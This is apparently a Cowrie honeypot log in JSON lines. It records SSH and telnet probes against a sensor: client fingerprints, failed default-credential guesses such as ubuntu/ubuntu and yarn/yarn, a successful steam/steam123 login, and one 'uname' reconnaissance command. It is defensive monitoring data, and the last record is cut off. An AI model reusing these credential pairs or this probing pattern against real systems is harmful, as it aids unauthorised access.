{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.458012Z","src_ip":"176.65.132.254","session":"20914588bac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.715057Z","src_ip":"176.65.132.254","session":"20914588bac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:37.802202Z","src_ip":"176.65.132.254","session":"20914588bac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:37.837520Z","src_ip":"45.78.198.206","session":"449c06326581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.03104209899902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:39.033668Z","src_ip":"62.210.97.77","session":"f440ff636512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52878,"dst_ip":"10.17.0.5","dst_port":23,"session":"970e9717dd8d","protocol":"telnet","message":"New connection: 65.60.27.33:52878 (10.17.0.5:23) [session: 970e9717dd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:39.144582Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"99eeb2df8a36","protocol":"telnet","message":"New connection: 62.210.97.77:56016 (10.17.0.5:23) [session: 99eeb2df8a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:39.289377Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f17a3edc207","protocol":"telnet","message":"New connection: 62.210.97.77:56026 (10.17.0.5:23) [session: 5f17a3edc207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:40.207626Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34080,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7b229560f3e","protocol":"ssh","message":"New connection: 176.65.132.254:34080 (10.17.0.5:22) [session: c7b229560f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:40.699246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:40.703854Z","src_ip":"176.65.132.254","session":"c7b229560f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:40.786200Z","src_ip":"176.65.132.254","session":"c7b229560f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:41.046060Z","src_ip":"176.65.132.254","session":"c7b229560f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.79064178466797,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:41.667888Z","src_ip":"65.60.27.33","session":"2d21baabe956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:42.142531Z","src_ip":"176.65.132.254","session":"c7b229560f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.09235692024231,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:44.173115Z","src_ip":"134.209.8.29","session":"d23a1c617f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.963369846343994,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:44.840597Z","src_ip":"62.210.97.77","session":"e98c1fde574b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8339b590916","protocol":"ssh","message":"New connection: 176.65.132.254:39148 (10.17.0.5:22) [session: a8339b590916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:44.987570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:44.992418Z","src_ip":"176.65.132.254","session":"a8339b590916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:45.077498Z","src_ip":"176.65.132.254","session":"a8339b590916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:45.339785Z","src_ip":"176.65.132.254","session":"a8339b590916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":32866,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24b1fab2457","protocol":"telnet","message":"New connection: 165.232.131.181:32866 (10.17.0.5:23) [session: d24b1fab2457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:45.621383Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:46.438290Z","src_ip":"176.65.132.254","session":"a8339b590916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56040,"dst_ip":"10.17.0.5","dst_port":23,"session":"555b67c8e0bf","protocol":"telnet","message":"New connection: 62.210.97.77:56040 (10.17.0.5:23) [session: 555b67c8e0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:46.560017Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a25aa536d0","protocol":"telnet","message":"New connection: 165.232.131.181:33302 (10.17.0.5:23) [session: b6a25aa536d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:46.634818Z"}
{"eventid":"cowrie.session.closed","duration":34.21474814414978,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:46.962808Z","src_ip":"62.210.97.77","session":"6cafab04fd70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.53867244720459,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:46.994352Z","src_ip":"38.54.119.93","session":"e225fb5269d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77088761329651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:47.114063Z","src_ip":"62.210.97.77","session":"24de1adf152e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49264,"dst_ip":"10.17.0.5","dst_port":23,"session":"8676b3fc2ec3","protocol":"telnet","message":"New connection: 38.54.119.93:49264 (10.17.0.5:23) [session: 8676b3fc2ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:47.715557Z"}
{"eventid":"cowrie.session.closed","duration":35.507197856903076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:48.369028Z","src_ip":"62.210.97.77","session":"97ad5fef91af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42038,"dst_ip":"10.17.0.5","dst_port":23,"session":"f706f6adf2df","protocol":"telnet","message":"New connection: 62.210.97.77:42038 (10.17.0.5:23) [session: f706f6adf2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:48.795772Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39154,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38b2de72be4","protocol":"ssh","message":"New connection: 176.65.132.254:39154 (10.17.0.5:22) [session: c38b2de72be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:48.898789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:48.902834Z","src_ip":"176.65.132.254","session":"c38b2de72be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:48.984219Z","src_ip":"176.65.132.254","session":"c38b2de72be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:49.244780Z","src_ip":"176.65.132.254","session":"c38b2de72be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42042,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3eeb482273e","protocol":"telnet","message":"New connection: 62.210.97.77:42042 (10.17.0.5:23) [session: b3eeb482273e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:49.983404Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42052,"dst_ip":"10.17.0.5","dst_port":23,"session":"bafe6d19876a","protocol":"telnet","message":"New connection: 62.210.97.77:42052 (10.17.0.5:23) [session: bafe6d19876a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:50.173877Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:50.337430Z","src_ip":"176.65.132.254","session":"c38b2de72be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42062,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd40f3f213a","protocol":"telnet","message":"New connection: 62.210.97.77:42062 (10.17.0.5:23) [session: bdd40f3f213a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:50.377565Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3214946f1f1","protocol":"telnet","message":"New connection: 62.210.97.77:42074 (10.17.0.5:23) [session: a3214946f1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:50.386815Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42080,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e7c4976687","protocol":"telnet","message":"New connection: 62.210.97.77:42080 (10.17.0.5:23) [session: 75e7c4976687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:51.976399Z"}
{"eventid":"cowrie.session.closed","duration":5.13345193862915,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:52.848863Z","src_ip":"38.54.119.93","session":"8676b3fc2ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e332c5a43fc3","protocol":"ssh","message":"New connection: 176.65.132.254:52724 (10.17.0.5:22) [session: e332c5a43fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:52.983613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:52.989269Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.076338Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42084,"dst_ip":"10.17.0.5","dst_port":23,"session":"300dc72a7dca","protocol":"telnet","message":"New connection: 62.210.97.77:42084 (10.17.0.5:23) [session: 300dc72a7dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.185737Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.340374Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.578862Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.583031Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.670835Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:53.676219Z","src_ip":"176.65.132.254","session":"e332c5a43fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc72cc5b2ec6","protocol":"telnet","message":"New connection: 62.210.97.77:42098 (10.17.0.5:23) [session: cc72cc5b2ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:54.758519Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":19078,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb8ee773900","protocol":"ssh","message":"New connection: 152.32.189.59:19078 (159.203.135.109:22) [session: 8bb8ee773900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:54.925674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:54.945396Z","src_ip":"152.32.189.59","session":"8bb8ee773900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac